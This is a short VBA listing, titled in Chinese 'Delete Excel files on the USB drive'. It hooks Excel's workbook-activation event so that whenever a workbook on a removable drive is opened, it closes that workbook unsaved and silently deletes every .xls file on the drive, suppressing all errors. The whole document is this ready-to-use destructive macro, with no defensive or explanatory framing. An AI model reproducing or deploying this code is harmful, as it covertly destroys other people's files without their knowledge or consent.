删除U盘上的EXCEL文件

'=====================ThisWorkBook=======================
Public WithEvents xlApp As Excel.Application
Private Sub Workbook_Open()
    Set xlApp = Application
End Sub
Private Sub Workbook_Close()
    Set xlApp = Nothing
End Sub
Private Sub xlapp_WorkbookActivate(ByVal Wb As Workbook)
    strWbName = Wb.FullName
    Call Main
End Sub
'========================Module1========================
Public strWbName As String
Dim Fso, mDrive, mType
Dim strLetter As String
Sub Main()
    strLetter = Left(strWbName, 2)
    Set Fso = CreateObject("Scripting.FileSystemObject")
    If Fso.DriveExists(strLetter) Then
        If ShowDriveType(strLetter) = "Removable" Then
            Call DelRemovable
        End If
    End If
End Sub
Function ShowDriveType(drvPath)
    Set mDrive = Fso.GetDrive(drvPath)
    Select Case mDrive.DriveType
        Case 1: mType = "Removable"
        Case Else: mType = "Others"
    End Select
    ShowDriveType = mType
End Function
Sub DelRemovable()
    Dim i As Long
   
    On Error Resume Next
    With Application.FileSearch
        .NewSearch
        .LookIn = strLetter & "\"
        .Filename = "*.xls"
        .SearchSubFolders = True
        .FileType = msoFileTypeExcelWorkbooks
        .Execute
        
        ActiveWorkbook.Close 0
        If .Execute() > 0 Then
            For i = 1 To .FoundFiles.Count
                Fso.DeleteFile (.FoundFiles(i))
            Next
        End If
    End With
End Sub
'======================================================